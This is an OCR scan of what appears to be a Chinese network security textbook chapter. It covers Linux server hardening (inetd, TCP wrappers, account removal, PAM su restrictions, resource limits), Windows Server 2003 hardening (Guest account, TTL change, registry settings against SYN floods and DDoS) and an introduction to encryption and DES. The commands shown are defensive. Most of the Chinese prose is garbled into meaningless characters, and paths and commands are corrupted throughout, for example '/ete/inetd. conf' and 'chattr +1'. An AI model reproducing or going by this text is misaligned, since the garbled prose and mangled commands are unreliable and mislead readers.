Device: 8,6 Inode: 18219 Links: 1

Access: Wed Sep 22 16:24:16 1999(00000.00:10:44)

Modify: Mon Sep 20 10:22:44 1999(00002.06:12:16)
Change:Mon Sep 20 10:22:44 1999(00002.06:12:16)

4% /ete/inetd. conf 25 [F VLT R 55 -

ftp,telnet,shell,login,exec,talk,ntalk,imap,pop-2.pop-3,finger,auth,etc, FEIE/KE
A E .

Tl 22K (E 2 r g S WHERAR ] ssh/sep AR 4kt a] LLZE (F 43 telnet/ftp.

ATk A A R iz 4T £ killall -HUP inetd,

PR Al PLiz 4T £ chattr +1 /ete/inetd. conf 1% 44 HA A vl 81 2k J& 24

HA root A G IT g% # chattr -1 /ete/inetd. conf,

(6) TCP_WRAPPERS,

HRINHD . Redhat Linux SRVFRT A 1934 5K, I TCP_WRAPPERS 1§ 38 3 #3194 21, I
AfPAE A“ALL: ALL”#|/etc/hosts. deny H 25 1} iy A /Y35 2K . 28 J5 5 IR £L BH A 72 17 19 35 2K
7] /etc/hosts. allow H . T fr7s .

sshd: 192.168.1.10/255.255.255. 0 gate. openarch. com

%f IP itk 192, 168. 1. 10 1 F 4144 gate. openarch. com, foif i@ it SSH % £, Bl H 58
1 2ZJa s/ tepdehk ¥y,
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>“f‘1
»

[ root(@deep] # tcpdchk

tepchk J& TCP_Wrapper fid &4 T H ., ERAIRE tep wrapper B &I He 5 Fr & 35
78 TE A AE 1Y ] &L,

(7) 2 3 aliases.,

i 5 9 44 SO/ ete/aliases (L A] BE 2/ ete/mail/aliases) , B3k /{3 B4 F M 1977 .

# Basic system aliases —— these MUST be present.
MATILER — DAEMON: postmaster

postmaster: root

# General redirections for pseudo accounts.
bin: root

daemon: root

# games: root ?remove or comment out.

# ingres: root ?remove or comment out.
nobody: root

# system: root ?remove or comment out.

# toor: root ?remove or comment out.

# uucp: root ?remove or comment out.

# Well — known aliases.

# manager: root ?remove or comment out.

# dumper: root ?remove or comment out.

# operator: root ?remove or comment out.

# trap decode to catch security attacks

# decode: root

# Person who should get root's mail

# root: marc

5 BB e A ERIC 18 17/ usr/ bin/newaliases , i Mg 28 2= 24 .

(8) PH 1E R Y 2 G2 Wi i AT AR AAIER/ N 3R R /Y ping 753K .

SR BA A RE ping 18 R BAILAS 3 WS 3w 1 L 5 AT DA K R S5 R R 0 T &2 Mk . AR T
LI m i — 1162 8 /ete/re. d/re. local, IRk 5 85 B 817,

echo 1 >; /proc/sys/net/ipv4/icmp echo ignore all

(9 ANE PR HEEERGEHERAFE R .
0 SRR A B2 A N e AR 8 Sk BIR (19 Al 55 4 I A B B R BE R G AR A B AR Al LR
I X A 2% /ete/inetd. conf T HY—77 .

telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd —h

A —h bR telnet JF S AR RRGEE B AU E 7R login,
(10) Fulay ik = .
A BN R E RS A B A s i BA T 2 a0 1K 5, 54K ﬁ% UK & I 2 55 0 L

1§{ﬂlttﬁﬁﬂ Linux &Iﬂ:{ J’%ﬁlﬂlﬁ TF s fJ\_J‘ﬁETHug t{ﬂ%'ﬁ\xﬂu L ’J‘#Eﬁ*ﬁgﬁ E.#'f;\
A1 2 2R D A2 B G .
[ root(@ deep] # userdel username M % & 48 i H P

[ root(@deep] # groupdel username Ml R % F4HH P kS
T 2 v b 5 AT TS A A B4R A
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[ root(@deep] # userdel adm

[ root(@deep] # userdel lp

[ root(@deep] # userdel sync

[ root(@deep] # userdel shutdown

[ root(@deep] # userdel halt

[ root(@deep] # userdel mail

[ root(@deep] # userdel gopher M¥EAH X Windows i 55 2%, 50 M 452 X 1~ =
[ root(@deep] # userdel ftp MR R VFEE 25 FTP, 51 M 43X 4~ H P ik 5
[ root(@deep] # groupdel adm ) 55 4 e =

[ root(@deep| # groupdel 1lp

[ root(@deep] # groupdel mail N B Sendmail iR %5 25, M & X 4~ 4H S
FH R T i 2 27 P K S

[ root(@ deep ] # useradd username
T a4 28 e a4
[ root(@ deep | # passwd username

HI chattr sy 2> 25 & i 09 SCAF 0 AN ml B 2R 1

[root@deep] # chattr + i /etc/passwd
[ root(@deep] # chattr + i /etc/shadow
[ root(@deep] # chattr + i /etc/group

[ root(@deep] # chattr + i /etc/gshadow

(11) FHIEAE T A sufEHN root,
MR ARA AL AT NBEWE su {EN root, 4/ etc/pam. d/su fill K M HIAT :

auth sufficient /1ib/security/pam rootok. so debug

auth required /lib/security/pam_wheel. so group=isd XA isd 20 i H P AT LA su {E K root,
MRV BEH P admin B8 sufEN root, 5Lz 1T F AT S .

[ root(@deep] # usermod — G10 admin

(12) ¢ PR .

XK R Ge b B A 0 /P 3 8 U5 FR ) AT DL By 1k DoS 2E #Y X i (Denial of Service
Attacks) , W KaEFEEL N AF O A5 . B an . AR i i A BRI BT A i HH P

i3 /ete/security/limits. con Jill ;

% hard rss 5000
#* hard nproc 20

PR 90 4 B/ ete/pam. d/login Al session required /lib/security/pam_limits. so
Ko X — AT A7 AE

T ) A PR JEFE ECA 20 (nproc 20) . H BRIl N AEE ] 2 5M(rss 5000) .

(13) 28 1| Ctrl+Alt+Delete H |3 sh L2515 2.

[ root(@deep] # vi /etc/inittab

ca: :ctrlaltdel:/sbin/shutdown — t3 — r now
To

# ca::ctrlaltdel:/sbin/shutdown — t3 — r now
[ root(@deep] # /sbin/init q
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(14) HHIZE /ete/re. d/init. d/ H 5 T r A ARV r] AR

'root@deep | # chmod -R 700 /ete/re. d/init. d/ * ¥ root 7] VA2, 5 . AT .

(15) The /ete/re. d/re. local file,

BRIAHL . 24 R login B Linux Server B}, B 45 7R Linux R4 44 » W% R A 25 IR 55 2%
FHLL ., BxELRATHEZHER .. NEEAHE BN login, 443 /ete/re. d/re. local , i #
7E T T A9 47 i 10 -

# This will overwrite /etc/issue at every boot. So, make any changes you
# want to make to /etc/issue here or you will lose them when you reboot.
# echo "" >; /etc/issue

# echo "$R" >;>; /etc/issue

# echo "Kernel $ (uname —r) on $a $ (uname —m)" >;>; /etc/issue

H

#cp — f /etc/issue /etc/issue. net

# echo >;>; /etc/issue

IXJE  PAT T T A R AR

[root(@deep]# rm — f /etc/issue
[root(@deep)# rm — f /etc/issue. net
[ root(@deep] # touch /etc/issue

[ root(@deep] # touch /etc/issue. net

3.1.3 Linux T2 EBRNEUANEZRZINABRERF

1. WuFTPD
WuFTD M 1994 4E 5 tn 5 A Wi 8 8022 4 I i) - BR AR 25 5 vl LI 3R 15 1 #E root 15
[7] (Remote Root Access) IUALPR .1 HIR Z Z 4 ImiFHE£ 2 AT 2 FTP IR a LA — 18

ST, D . WuF TP 250 5 804 4 i .
WuFTP i 4 19 & ACFE 7 i ProFTPD, ProFTPD 1R %5 5 Bl & . ££ Z 8UE 6L T 3L
A B . i B i U5 A RS e be B 1 i (2% i igs Y R DR I:l:'-’&”'" A VT 2 EEZ 0k S
ProFTPD, sourceforge. net 5 & — 1R & 19 491 1 X A~ f 5 3000 A4~ FF 5 96 4T A5 féy T
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% 3% BEALwAREA 49

Linux WAZ51%) » Sendmail 52 8% 58 7% H  BGE FEP . 8 Sendmail 2 LA root ALFRIZ 17
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(B E i AFRANGF 20, IR — ARG 20 B WA 25 A fT] root /Y 14>,
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—SEAR B TR AL RS root PR . KEF Linux B9 & 47 5 AR £k 1 X A~ ) @, B 7
D217 i) — 2 S5k fE il named LLIE root B iz f7. 1 H . IAE 48 K £ %0 Linux
) & 47 g A1k named DA H P AR 217 . A t6 G W W

named —u <user name>; — g <group name>;
3.1.4 Linux T&£5 0

(1) JEBR RGE T A BB K5 A3

(2) 7EH P A& EEER R A Z Bon A w8k FEL TS B UL HABAE B

(3) PEPR“BE "] LA R G I 25 il 55 .

(4) ffif 6 8] 8 i FHRE 7 %EM.

(5) BRI P 208 S B R S IREL .

(6) 1C sk ih [ 2 A PRI O X2 4 il skt i B 4
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(13) {#H chmod ¥ RG H A H R 711 Bk, XA, Bl FA0TE L EH 3 &1



50 it A LR &g Ay b AR

o H AR P AR TR T
(14) HEA[ e, iR rE & 20 2 R, KL U DR H R BEiEERE.
(15) 4 R 88 54 T+ 26k SO A .

3.2 Windows Server 2003 11 % 4%:

Windows 2003 EZ#IHY 24 FRE Windows. NET Server 2003,2003 4 1 H 9 H IE=Uk 44
&1 Windows Server 2003, fU §5 Standard Edition (5 #fE i) « Enterprise Edition (4> \F ki) .
Datacenter Edition (B 4E .0 M) . Web Edition( 28 i) 4 PShRAS . B AN EH 32 57 F1 64
{7 9 7 i 15

Windows 2003 gk #& | Windows XP Y & -3 4E 4 1 Windows 2000 Sever FY M 2% £
P& — A [ i A A P AR 55 & 08 RO # 4 &R 48 Windows 2003 58 4 fE £ |
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Windows Server 2003 11 & | 2 R~ A8 H #iiA . & 5 4 it (Enterprise Universal
Description, Discovery and Integration. UDDI) 9 ik 5. iX — 3t F #r #fE 1y XML Web
Services a4 P LM 25 fy v LA 2217 A & 1y UDDI H 5%, T 76 N 3 8l Z1 5 M 26 5
JEH 8 2R Web Service N HAb g #2956 . T & A G ml LA g {6 B 2 b & 80 5 | 50 1o HH 21 21
NI Web Service, 1T 5 HE A G Al LU 2R BN 28 i dm A2 95 U . 4l UDDI il 55 o 3
iy A Ml 78 57 5 R RE L B ] SR A N H

5. MEMEETA

B 19 4 o g B 5 (GPMO) #iF nl AE O Zh Rz 41 (8 & (45 2 O n] DL 4f M
B T BRI LE [ 2y R OC B G R DX B Can P R S I A A A O R SO /Y



52 it H LR &g Al L AR

kg, AU —-ERm St TEHMESHREEALMmA b, mB HFE, K
BE AL S AP RE N 217 52 L. X Microsoft 844 5 8T ik 5 (SUS) 11 32 £ 15 B & B 51 i
o &5 48 B H sl ik . 9F B & 22 5 il ik 558 2 0k & 0y L b J5 A 3R S X Sk ) (SAND 45
AT %

9. BRIRXFFmA 1858 H P IhfE

W A 7R AR D e P Jo 1 2 557 Lol A G4 A% AN SE R AE B L BRI AT Sz D
K2 B LAFT AR AS 1 30 . 434 XS R 48 (DES) FSC -5 il il 55 (FRS) 9 48 58 4 H P $2 {1t
— R — B ik A AT TS TS B AEATT Ab AR BE U 1a) FL S o X T i 200 4 A R Y I 7
F e R U ) 35 B0 B A nl DABC B8 45 T P O R 0% R &5 CVPND (19 35 18] B, T AN
RXEHP TR ERIEERR .

3.2.2 Windows Server 2003 Z4£ i B

1. =1k Guest K=

TETHENLE B P B4 Guest RS 05 H] AR AT R AR A FLIF Guest IR SR RS .
N PRBSE R A 2h Guest IT—E 22 %05 . al DT IR i A 76 B i A — 5200 3 FF
RFAT VB F R RFA A HEE RN Guest IR 19 %45 . IF HAZ 2 Guest K5 11y J& 14 .
BE R 2 Ui, qn i 3-1 o

®A | RRT | REXH BA |

-JEAR S (S BPR R AL VEN)
" ftafFhiE o)

~ $EEDE @)

C SR ERGEME ©
RSN D) |
-EiET
¢ TES©

C HFNARE (REETIZEAERS) ©
¢ BAEHS Q) |

~ SERS 1 ik E) !
r RARSHE ©

RIS B B AR papEw. | ‘

E 3-1 &8 Guest $EEH

2. EHRAKSHNZ

Windows 2003 1y Administrator K5 & AN REF AT H Y, X E R H ] A Al DL — i X —
it 2 3 X AN R P 19 %S . 8 Administrator WP 224 0] DA RO P 1 X — 5, AN AT H]
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13. Z1EF il E P LE

BEM M TTL(Time-To-Live, i gl i [A]) A a] DL % 5] #:4E RG A9 26 AL . 38 i ping 154
REAI W H bR EHLZE A . ping 89 A J2 450 H br 35 12 15 % 8

FZ A& B2 ping — F EHL, A SR — G iF R AL AR IE X i #E &R 40,
= Windows b2 UNIX, W TTLAE N 128 i nl LIiA MARAY & 42 & Windows Server mf
Windows XP, 4%l 3-15 Fr7s .



60 HHEAR B %L R

=10 x|
TR S|EE FEEV ERE %
-1 ServiceProvider || B ) oE -
=] Session Manager REG_SZ (HEFEH
+-{_] AppCompakibility REG_DWORD 0x00000001 (1)
-t AppPatches A4 DisablePagingExecutive REG_DWORD 0xD0000000 (0)
S OS Dewicas #4f] 1oPageLockLimit REG_DWORD Dx00000000 (0)
j E":”E:“:m #¥LargeSystemCache REG_DWORD 0x0D0000D00 ()
@ FleRenameOperations sig|NonPagedPoolQuota REG_DWORD 0xD0000000 (D)
1 KnownDLLs f15] NonP agedPoolSize REG_DWORD 0x00000000 (0)
3] Memory Management na|PagedPoolQuota REG_DWORD Ox00000000 (D)
(] Power s8] PagedPoolSize REG_DWORD 0x00000000 (0)
3 sFC J ablpagingFiles REG_MULTI_SZ C:\pagefile.sys 384 768 _
__] SubSystems g PhysicaladdressExtension REG_DWORD Ox00000000 (0)
] Setup ﬁ;ﬂ SecondlevelDataCache REG_DWORD 000000000 (D)
+ |_] Stillimage SN curtamDanar DR MDY W20 {NSa08) ll
o 1 SuvrkamD arca wirsae l’ 4 LI
F AR\ HKEY _LOCAL_MACHINE\SYSTEM|CurrentControlSet| Control|Session Manager\Memory Management

B 3-14 XHHBEHRXHFNEE

= C:\WINDOWS\systeni2\cad. exe

Connection—specific DNS Suffix
IP RddresSsS. « « =« « = = = =

Subnet Mask . . . . . . . .
Default Gateway . . .

192.168.1.2
255.255.255.8
192.168.1.1

L] Ll L1 L]

Ethernet adapter {VAYHE188-63B6-47C8-9721-B788261FC57623:
Media State . . . . -« = - & Media disconnected
IC: \Documents and Settings\Administratordping 192.168.1.2
inging 192.168.1.2 with 32 bytes of data:

192.168.1.2: bhytes=32 time{ims TTL=128
192.168.1.2: bytes=32 time{lms TTL=128B
192.168.1.2: bytes=32 time{ims TTL=-128
192.168.1.2: bytes=32 time<{ims TTL=128

ing statistics for 192.168.1.2:

Packets: Sent = 4, Received = 4, Lost = B <{Bx loss>.
Approximate round trip times in milli-seconds:

Minimum = Bms, Maximum = Bms,. Average = Bns

IC: “JDocuments and Settings“Administrator?>

E 3-15 ping THWER

MEF R LEH . TTLE M 128, 5 BH EHLAY#1E R 4t & Windows Server 5f Windows
XP #/E R Ge. 3K 3-2 45 T — 289 DL HRAE R 40 i ) BEAE .

32 ERBRERZHXNRE

BRIERGEE TTL i& [El{E BRIERGEE TTL iR [E &
Windows 2000 128 IRIX 240
Windows XP 128 or 127 AIX 247
Solaris 252 LLinux 241 or 240

ek TTL ff . AfRE M ICEARLRI 7. U fE 24000 TTL (i y 100, i
+8# HKEY_LOCAL _MACHINE {1 .

SYSTEM\ Current ControlSet\Services\Tcpip\Parameters
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B — W, E R 24 PR P g A Default TTL”, 8K J5 A5 2 8 24 , 05 FF B8 R HE
B AESCAHE R A 100, 4 &l 3-16 s

& a=g|

# 1 swenun A | BIR v g A
L swnidi ab] @ril) REG_SZ {EF8
» 1"’”& ab)DataBasePath  REG_EXPAND_SZ SystemRo
¥ ] sysaudig ey — 030000000
by % DYORD Y .. oo0000
+ ) Tapisr
- ¢ MESH @
- iy 0%0000000
—J End [DefanltITL NS
] Lin] . Ox0000000
MEHE ) 2 0x0000000
+ N Par R ok
" Per| [100| bl g LY 0x0000000
B Sec D) it ) 0:0000000
._I Sar |t|x[-I|.|F_.|l‘I_-II:]r-I
1 TDPIPE mE | [ mm | PRC-20131
] TDTCP 0x0000000
# [ TermDD Wg]MaxConnects on REG_DWORD Ox0000000
# ] TermService Af|MaxUserPort REG_DWORD 0x0000271
* —I Themes Ab] HameS erver REG_SZ
# L TintSwr v || [ab]WY Nostname REG_SZ PRC-20131 ¥
| € > £ >

éitﬂ']m \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tepip\Parameters

B 316 {2 TTL B1&E

U 5¢ B HOR R s 5L 5 ping 54 & B TTL fE C £ #2100 1, qnfE 3-17

Connection—specific DNS Suffix
IP Address. .

Subnet Mask .

Default Gateway . . .

192.168.1.2
255.255.255 .8
122.168.1.1

e LL) L] Ll

thernet adapter {A7BE18080-63B6—47C8-9721-B78B261FC576> -
Media State . . . . = =« =« =« =« « - & Media disconnected
IC: \Documents and Settings“Administrator?ping 192.168.1.2

Pinging 192.168.1.2 with 32 bytes of data:

Reply from 192.168.1.2: bytes=32 time<{ims TTL~188
Reply from 192.168.1.2: hytes=32 time<ims TTL=188
[ 192.168.1.2: hytes=32 time{ims TTL=188

192.168.1.2: hytes=32 time<ims TTL=180

Ping statistics for 192.168.1.2:

Packets: Sent = 4, Received = 4, Lost = B (Bx loss>,.
pproximate round trip times in milli-—seconds:

Minimum = Bms. Maximum = Ums. Average = Bms

:vJDocuments and Settings“Administrator?

B 317 EdE/M TTL &
14. #L#t DDoS
U N 2 1Y — SEEEAE , n] LUA R Pt DDoS 1 Xy . fEEE(E
[ HKEY LOCAL MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters ]

T 18 T o7 e B R HL BH AN 3-3 B .,
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A5 L AR

# 33 i DDoSEEHEE

EmpygE

# 1H 1% B8

“*EnablePMTUDiscovery” = dword: 00000000
*NoNameReleaseOnDemand” = dword : 00000000
“KeepAliveTime” =dword : 00000000
“PerformRouterDiscovery” =dword . 00000000

RARE

“EnablelICMPRedirects” = dword . 00000000

B 1k ICMP 7€ [ 4z 3C i X0 ol

*SynAttackProtect” = dword: 00000002

B 1F SYN itk o i

“TepMaxHalfOpenRetried” = dword : 00000080

*TepMaxHalfOpen” =dword ; 00000100

{VAE TepMaxHalfOpen I TepMaxHalfOpenRetried
0 R PR AP PIL R A2 R HUGE

“IGMPLevel” =dword. 00000000

A2 IGMP il

“EnableDeadGW Detect” =dword : 00000000 A BE ] S W) R AR
“IPEnableRouter” =dword . 00000001 = Fr g h 1 gE
H
2] @ 3

— . HZ &

1. —&Ea] LI gl A A AL #1928 UNIX#ER S, E R T AT Intel x86 K 4

CPU R+ BHL v EfE R & =2 0
Solaris #/E &4 1) TTL {H /&

e

a

TE 2 G ot M1 BT ) B4

AR A SO ILFE A a2 2

SCF 2 — O ARA FH R BORE T LA Bl A 3k 1) L.

Q

[0 B S

. AR BEIK S o2 g d — 1 a

A M T 4 B A AR BR 5 B RN A AR

—. EEM
1. R LINUX Z2iiE &,

-3

A2

) A R R S R e AR A e 1 R S0 LA R X S g G AR PR 47 5 AR A B A



o 4 5 AL

B TREAFHEEAMAE, SHRBLAMEFenr T ERMEZRK,
B £ DES.RSA.PGP = # s & .

B SREIEFELRUAFIES . HAFRPEK,

4.1 % g 2

4.1.1 ZHBEHIA

B — T ZMmER 2R, BN — M AR &R 2R, Aoy KDLk, B R
R/ANMIE BN I ZE g5 A R AE SR . AL E R R S B B
fif o Ko AR Y g Bl 2 SR B A AL A B, W — TR 2R, Bl T AL
- IR R TR s NI a0 o = | R o 3 1 N S N DA T S S B L |- o
k. FEEAN EEHRATTEI L 2 FEZOUE T m . mEITT R SRR P £
NZ .

R R S IR G AR ) T B R R OE S O CFE VBB RER AR S . LR H R R AT
o ¢ HEGH 5 07 24 8 19 5 5 A H SO IR B ke o A R 55 3 Bir U5 1 38 AR AU RR N
B EAE . TR VLEE T R HE TR (F B R K . iR R OE B9 1E B AL i 2=
{45 B e A% S ok A2 b B0 4 57 BEROER 29 O AN RE 15 B N 2 I AR IR B AL
15 4

(B — NI R 246 T 4 S RGE 4y .

(1) A% 19 e 3C - AR B 3

(2) N 5 4 S AR S,

(3) T i i sl B .

C4) T % 1 H

&Ik T VI 2 81 8 o i & sl 8 5 KR BN T s & . IO e 315 3
J&i o FH A 5 3 B0 5% SO % R W SC ., SR AL b A N B R, Al L RE 1S 3 0k A 1
SC, T RHE B E B EAE .

4.1.2 FTHH DR

MAS R £ B2 AR 38 AN ) (045 4 o vl LA 5 o it 138
1. TN ARARSH LR EH RIS

(D F 1 o DL 052 BN a8 A ol il DUy 5 B4l B 2 4F nY s, i = 13
it B — U S KA 2 22 2 X R AR IE 2.



64 T HEAR Ky LIhH AL

(2) MLO RS . LADUAR 25 5 Lk v 30 38 i AL ok S i % 588 VR b 9 5288 1, nu 7 B A 288
X 25 By PSR — U R H BRI B Uk A R v A5 3 Sk o7

(3) WFHLNFELZ S, 38 ad B 3% DA™ 4% 1 F2  E f 7 2 s L DL/ il Lo R 4k
PR 1 %% LR PR A R ) L A A %8 o A v 5 A TG S T T S A S B AR SR HL AL
NHELE S . M 20 20 50 AR H 3R] 70 4R 2 i H

() THEAUE . DS S B2 U817 505 0% 0 R L 3b T TR HLE R O 0 F
WX 2% 38 15 55T 2 s % 1

2. KRBEREXS

(D #ig LIRENEN ., NERRZ D% SCMA £ K iHE RE T 0B TR AR RE1S
B ffe — figt 119 %5 1, MY VEFR S DR 0 %5 6, o iy 3O S AT I Y 2 A

(2) SCbr AR FERS . fEB0E bl i BAE A M &M T . Jo ik 8 i 155K 0
—Ji £ A WY A SEBR B R

(3) ARH B, FEPR I — & B 1 % SR nl LL1S 3 MfE— i 00 25 05 AR AN IR 5% 5%
i, IR R AR, R RACEEN, UL B SO /b & 5% Y, SR AR N
AR ) S

3. REHARXK S

(1) XFRREES . & XUy (i FH AR [R]85 60 10 28 0, nd F e FR =R i . 1L 80 Y % 1 A1 I
3,

(2) dEXTRRAFS . R DU A %% A 0 2 65, M AEE SRR & 15 . i 3 & 5
w2 5% BH R R 2

4, IAXES

(1) B AR, LB ARG B . W xF sh 830 Bl 2 N &2 28 0 035 155 e
)% 1, Y AERL 40l X 25 0

(2) HFRIEW., HTEMEBERFAELE . XA 0.1 — 3 5¢ R 1 H A2 (F
SN I R TR (- e i TRy

5. #EmHEER 5

TE25 05 g il ANfE P A B 456 . RIE N .
4.1.3 EAKIHEE

B 07w i S A ARl o W fE B R R B Ok D R T E AR i BURE B AR
BUEARE TR IR PR B RN 2 . 28 284 o 1] %% 005 2 o il B 5 B 7 A% 186 R A= S5 I A A
Kelnl @, FEAFE LT ILA

1. #1% ¥ (Confidentiality)

(A KK 5 FE € 1 H 0T RE 98 PR AL U4 SCN & . B3 Wr & nl LA BN 28 1 AY i



¥ BB

Py 65

<

% 4

SCHARER I FORE B BB Bl N 7 .

2. £ 5 (Authentication)

RIR T AR T AN 12 g Uk S5 8 1R i R B 7 A iy 55 — O i S8 B A AT B s RR B B
HI5E =& ARE'E o8 15 A9 X7 - 3845 XU BEXT X 7 1Y B iy ik 47 %200 .

3. LT E M (Message Integrity)

B0 7232 7 AR U mT LA AR 28 050068 ) » AL AT 3 7 22 4 O HL 8 5 A 9 28 76 4% i 7
HOR B R

4. AF]EHIATE (Non-Repudiation)

AT 2 38 17 6 Jr 19 4 SIS - b B uk SE e SCH 525k B R S PRI &35 7 - 236 7 AN RETE
RIEM LG AINA C R K3,

4. 1.4 mMEMFEE

AN [ Rty 24 B 94 S 02 A2 o LA BRI A Encipher G5 %5 615 ) #1 Decipher (fi#f %% %
i) . WAl LLXFEfm 44 : Encrypt i) A1 Decrypt (%) .

S BFR Oy B S, A A5 2% O 2 TH B LA B2 & 1 I &8 A O BE B R & s 1 Y TR
KPR R %8 SC, T A %8 S A8 Sk B SO ok AR PR O i

B SC ] M(Message, 4 8. 8 P (Plaintext, B ) 7R . & 0T GE 5& R L - SCA SO A
A BT 1 1 5 i Bl BT AR R A RS

% SCH C(Cipher) R o Al 2 —E i Zcls A A M — 4 KA I Fd K. 38 3 T 4 A
B S.CHARELL P /Nt

WA K ZR.NERE EERED , KAIZERLEEBRMITEMH.FHA KN
A RE{H Y 90 il (508 B S TR, e AT s AR X AN B L B s SR AR O T B L T
K YER T hRZEN Nl 5 PREUR IR N

Ex(M)=C

D (C)=M

Dx(Ex(M))=M, K 4-1 Fr7~

Wm Wm

1 S e EA S
1 20 e > S el 1D

B 4-1 mMEMBEFLE

4.1.5 XNMEZFNMAFZPEZE

1. MREE

T EHNEREE AWM. MIREEMAITEAFE AENFREE) . MFRE A I
NONY A 28 2 A SR L TN 5% BH RE 08 A A 4% % aH rh AR B ROk R ok T

TE R 22 RO R B 3 vb T it 55 1) % BH 2 AR TRD 1% . X R O 9 R e ik 3 AN WO TE & 4



66 it H LR &g Ay LI AR

WG Z A e — 240 . AP RR R 1 & R T % A L it U 2 B L B R A AT AT N AR RE X
H B AT A o X RROE T 1 B AR R R R
Ex(M) = C
Dk(C) = M
PR AT WS . R AN E R (RS ) 5 H B . e EN — H 2 E 4 )7 i
IS Y B i R Z — & ) 3 R B L i DR B AL ) A A e A e RE O R PR B
HLFE 5 6 FZ 7 50 N2 45 B GZ EL R 2 , 45 2188 SC 41, BT L, 7 91) 48 it A8 38k 1) 42 42
5t e W T O BT i35 . DA BEVLIT 91 & 2L 25 02 38 fn A B RE AL A B0 19 25 41 (Fh )
1 3k B A2 2% 1 0 TR 7 A R Ol Bl AL A 9
J¥- 491) 8 B R B SO A7 A e i S XS I T B N T AN Bl 4-2 FioR . B R
skt — RV R Ko Koo Ks oo Koo AW CHFRW Prs Poy Psyee- Pi 3547
Sofis B A B SRR .
C.:=P, DK,
TE it 5% iy » 5 SO 5 56 4 A (7] 1 25 BH L 5 o i R AR R B ST .

R

®HXC,
E42 FIEBEZE

oy 20 A R B S A T K R R 2 (B L AN 64b — 2, Y [R]— %25 A0 AN GEL i 6 A — B
2 R [ K S

2. " HAEHRZE

ON T 3 5 S8 v A & 19 %% SR A ) 1 AR #0040 i EL i %% % AH S RE AR s n &
BT R (2 /TR G BRBCE PG IR R] P9 B DA %8 %8 40 RE 9520 T, B A4S AR BE i %% 2%
AMERGR AR AMERHANHAEARRERERE. EATTEHRHBEERSE DN %A
(802N T3 40 CRT PR 81D M % 55 B W AOR 25 35 1 (R B 4 T FRARLERD

NIFERAR TR EEMNTINE/ % B FEL VEAZE . H 1976 452057 % 1 1) B AR
P Lok EPR FE LB T 2R A S E A . R BT AT T RN 4y i 1)
1) RSA R A1 Rabin il L 3 F 47 B S8 - (1 25 806 £ n) 2 f9 Differ-Hellman 23 45 44 il A0
ElGamal {4 il | 5L F#f B th £& T % 25 85060 £ m] 8 Differ-Hellman 23 B34 8l #1 E1Gamal &
il . XEFEHAES AN RES TEALH . A0 RIESTING/ iE.

NP Ky B RR K : Ex, (M) =C., A I &AM %2 A 09, AR 1
A% K, %] KK Dk, (C)=M,
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4.2 DES X Frhnss AR
4.2.1 DES XFFRH10%Z AR B

e & 2 W AAA 2 5 a6 B % 20 n %5 380 DES(Data Encryption Standard) /& IBM 4y
Al 7E 70 AFEAC KR AR SR i . IF 28 oh UM R I AR ME R 28 f » T 1976 4F 11 H #38 B BUM R
DES Pifi 5 #% 3 [ [FH 2 5 4 J5 1 2E [H B 4k #fE ) 2 (American National Standard Institute,
ANSDJKIA . INEF L ZIR BN H IR 4 53,

(1) $ 43t v o i 19 25040 DR 4P By 1 0 R 28 5 AU T s A0 R 98 538 o i 18 24

(2) BEAMYE LM, 5005 00 T 590 o vl GE2R 15 09 A 2 5 W] s 322 (8 T 2 i A0

(3) DES %5 544 il i &2 4% N i AN WO T 5355 B9 OR 3 , 8 VR A L N &5 25 BH /Y IR 2
A3

(4) SEMAVE AT AR IF Bad T 2 558 4 A [R5 .

4.2.2 DESHIR&MN

DES B IEX A ARG G | —35 A a4 . 1977 4 Diffie #1 Hellman #2 i
T & — B AP REM G 106 A% BH B KRR LS Fr s X R R R AU HIL g% R 29 — R it ml DA R
DES 58 0y A4~ % BH 23 (8], il 18 X R AL 4 75 248 T 1 360G

1993 4f R. Session Al M. Wiener 25 | — P HEH TEA 19 % HIL KWL E W ZITT TR E
ST AT I B OO R s I BRI 5 <107 AN B L G I K FPLES B s M 2 10,5 3
JC,5760 NIXAFEES A A MK RFE T E 10 7RI, X— RV 1.5 KRIAT & 2 % 4.
RA 10 DX RGE . P22 100 1 L0 AH 8 & i a) o] IR 2] 2.5 /i, n] WX Al
il JE AN %A

1997 45 1 H 28 H,LEH ) RSA Hila &/ e LRI EJF T — 10 0w BBk i
HI7E 3€ T — T B o0 WA — B 56 LR BN 1y DES % 3C. I A 51 1 M2
FHP s Jpmg . . —17244 Y Rocke Verser f#2 7 51 B2 it 1 — 4> nf DLl ik 55K N 73 Bz 17
HIE A A R P AU — APk DESHALL a9 & 17 3h . e T 7 59 258 B 2 n
ABTHR P AR RISERE R S 96 K, BI PR ECFE R A A Y5 140 K, 1997 42 6 A 17 HIK |-
10 /5 39 43, EFHE A Inetz 2w Y ER 61 Michael Sanders D3 2 7% 40 . 515 4L |-
Won T . “The unknown message is: Strong cryptography makes the world a safer

place”,
4.2.3 DESEZBEIE

DES & A O Z 8 A =4 . Key,Data, Mode, H i Key H 8 4~F 45 3t 64 fi7, &
DES B T AEZ4H; Data -l 8 N 64 f, 52 gk i 25 5% w2 2% (19 B . Mode R

DES /Y T AE =0 A PR . I 5 i .
DES F k23X #F T AR . W Mode i in & » W H Key 2% iE & Hls Data gE47 /0% » 22 Wl
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Data 9% #4512 X (64 () fE A DES (4 H 45 %5 W Mode A% . U Key 2% 15 IE L
(% Data fi# % i858 Data (1) BRI IE 28 (64 1) 4E 8 DES i i H 2%

738 175 W 28 11 W8 g » U 29 58 — B Key o 76 38 5 10 95 25 Key X% .0 il 12 47 DES
NG L8R 5 DL I 0 AE 2 38 A5 I O e 33 D) o4 3810 38 1 O 4% 119 28 L B8 213k H 19 M
f& « R FE 1 Key X 25 05 8 e 2517 % 25 . 08 15 20 1 B9 E =X i A% 8 iE o 3XFF 8 RAIE T
20 B 6 N Ml A5 ) v A% By ) 22 MR RN AT SE L 38 e B 7R A8 (R I 4% ) TR e A H Y
i [73) B 250 BT 1) Key o (8 BE B F — 25 42 i 208 i O 35 v X IF 2 L TE & Al sE &) 4% 19 I 17
i .

4.2.4 DES &ZiXifid

B AW, XA ER 64 VS xL E e — A e 1P LR E B HES] 2. A
ﬁﬁ*@iﬁm 64 'f_ﬁ FI{J A0 -:.I"GZIP(I):LDRD 1%'11 LD %E,ﬂ_l? A0 ﬁ{JHﬁ 32 'f_ﬁ- 1RD i%ﬂ_l? A0 FI’{JJﬁ 32 ’f_;_,fg
50 TR ILNGEAT . R

i A 6411

L; = Ri— *

